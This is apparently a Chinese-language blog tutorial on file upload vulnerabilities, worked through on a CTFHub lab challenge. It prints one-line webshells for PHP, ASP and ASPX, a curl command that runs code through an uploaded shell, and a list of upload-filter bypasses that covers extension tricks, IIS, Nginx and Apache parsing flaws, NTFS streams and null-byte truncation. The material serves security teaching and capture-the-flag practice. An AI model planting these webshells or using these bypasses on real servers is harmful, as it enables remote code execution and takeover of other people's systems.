web安全基础 - 文件上传漏洞


定义&原理

文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。

文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等

关键字 - 绕过

原理示例

本文用CTFHUB技能树的靶机进行讲解,链接如下:(进入web-文件上传分类即可)

https://www.ctfhub.com/#/skilltree

首先从第一题《无验证》,创建靶机环境后访问就能看到文件上传框:

第一题-无限制

编写php一句话木马上传:

php一句话木马

上传成功:

上传成功

用curl访问木马,执行get_current_user()获取当前用户:

curl -d "meta=echo get_current_user();" http://challenge-b05d9457d45dc7b9.sandbox.ctfhub.com:10800/upload/shell.php

执行get_current_user()

也可直接蚁剑(webshell管理工具,下载链接:https://github.com/AntSwordProject/antSword)进行连接:

蚁剑连接

连接后可远程管理此服务器,且在上级目录找到flag-xxxxxxx.php,打开即是本题flag

flag

各语言一句话木马:

asp 一句话木马:  
<%execute(request("value"))%>
php 一句话木马:  
<?php @eval($_POST[“value”]);?>
aspx 一句话木马:  
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
...

各种绕过方式(重点)

前端绕过

上传正常图片,抓包修改后缀

黑名单绕过

寻找相似可解析的后缀php3、php5、phtml、jspx、aspx等 - 未正确配置服务器
大小写 - 未字符串全部匹配校验
双写 - 删除校验
点空格 - 删除校验
.htaccess绕过 - 黑名单没.htaccess,且服务器使用.htaccess文件配置
等等方式

白名单绕过

文件解析规则绕过,例如:

IIS 5.x / 6.0 解析漏洞

漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析“;”以后的内容

漏洞利用形式:
漏洞1:www.xxx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2:www.xxx.com/xx.asp;.jpg 会被解析成为asp文件

Nginx 解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。当URL中有不存在的文件时,PHP就会默认向前解析。

漏洞利用流程:

  1. 访问:www.xx.com/phpinfo.jpg/1.php (1.php不存在)
  2. 会解析phpinfo.jpg文件,但是按照php格式解析

Apache 解析漏洞

Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进解析。

漏洞利用流程:

  1. 上传shell.php.test;
  2. 访问shell.php.test,服务器会解析shell.php.test文件,但是按照php文件格式进行解析。

还可以结合系统特性绕过

Windows 文件流特性绕过

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

例如 : test.php::$data 等等

最后还有%00截断绕过,文件头绕过等。


文章作者: meta-taamr
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 meta-taamr !
  目录